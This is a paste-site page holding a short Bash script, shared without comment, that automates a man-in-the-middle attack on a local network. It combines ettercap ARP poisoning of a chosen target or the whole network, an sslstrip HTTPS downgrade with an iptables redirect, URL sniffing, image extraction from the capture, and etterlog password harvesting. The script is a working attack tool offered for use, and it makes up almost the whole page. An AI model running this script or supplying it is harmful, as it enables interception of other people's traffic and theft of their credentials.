who knows

From cm3l1k1, 5 Years ago, written in Bash, viewed 508 times.
URL http://paste.security-portal.cz/view/47dfb3ed Embed
Download Paste or View Raw
  1. #!/bin/bash
  2.  
  3.  
  4. txtred='\e[0;31m'
  5. txtblue='\e[1;34m'
  6. txtgreen='\e[0;32m'
  7. txtwhite='\e[0;37m'
  8. txtdefault='\e[00m'
  9. txtyellow='\e[0;33m'
  10.  
  11. f_yesno() {
  12.     #example: f_yesno "Are you sure?" variable
  13.     local answer
  14.     echo -ne "${txtblue}» Q: ${1} (yes/NO): ${txtdefault}"
  15.     read answer
  16.     case "$answer" in
  17.         y|Y|yes|YES|Yes) yesno="yes" ;;
  18.         *) yesno="no" ;;
  19.     esac
  20.     if [ ! -z "$2" ]; then
  21.         eval $2="$yesno"
  22.     fi
  23. }
  24.  
  25. f_yesno "Do you want to execute Wireshark when done (yes/no)?" WIREEXEC
  26. f_yesno "Do you want to extract pictures from the pcap via tcpxtract (yes/no)?" PICEXEC
  27. echo -n "What interface to use? ie wlan0: "
  28. read -e IFACE
  29. echo -n "Name of "Session"? (name of the folder that will be created with all the log files): "
  30. read -e SESSION
  31. echo -n "Gateway IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: "
  32. read -e ROUTER
  33. echo -n "Target IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: "
  34. read -e VICTIM
  35. mkdir /root/$SESSION/
  36. sslstrip -p -k -w /root/$SESSION/$SESSION.log &
  37. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  38. urlsnarf -i $IFACE | grep http > /root/$SESSION/$SESSION.txt &
  39. ettercap -T -i $IFACE -w /root/$SESSION/$SESSION.pcap -L /root/$SESSION/$SESSION -M arp /$ROUTER/ /$VICTIM/
  40.  
  41. if [ "$PICEXEC" = "yes" ]; then
  42.  
  43.     tcpxtract -f /root/$SESSION/$SESSION.pcap
  44. fi
  45. if [ "$WIREEXEC" = "yes" ]; then
  46.     wireshark
  47. fi
  48.  
  49. etterlog -p -i /root/$SESSION/$SESSION.eci

Reply to "who knows"

Here you can reply to the paste above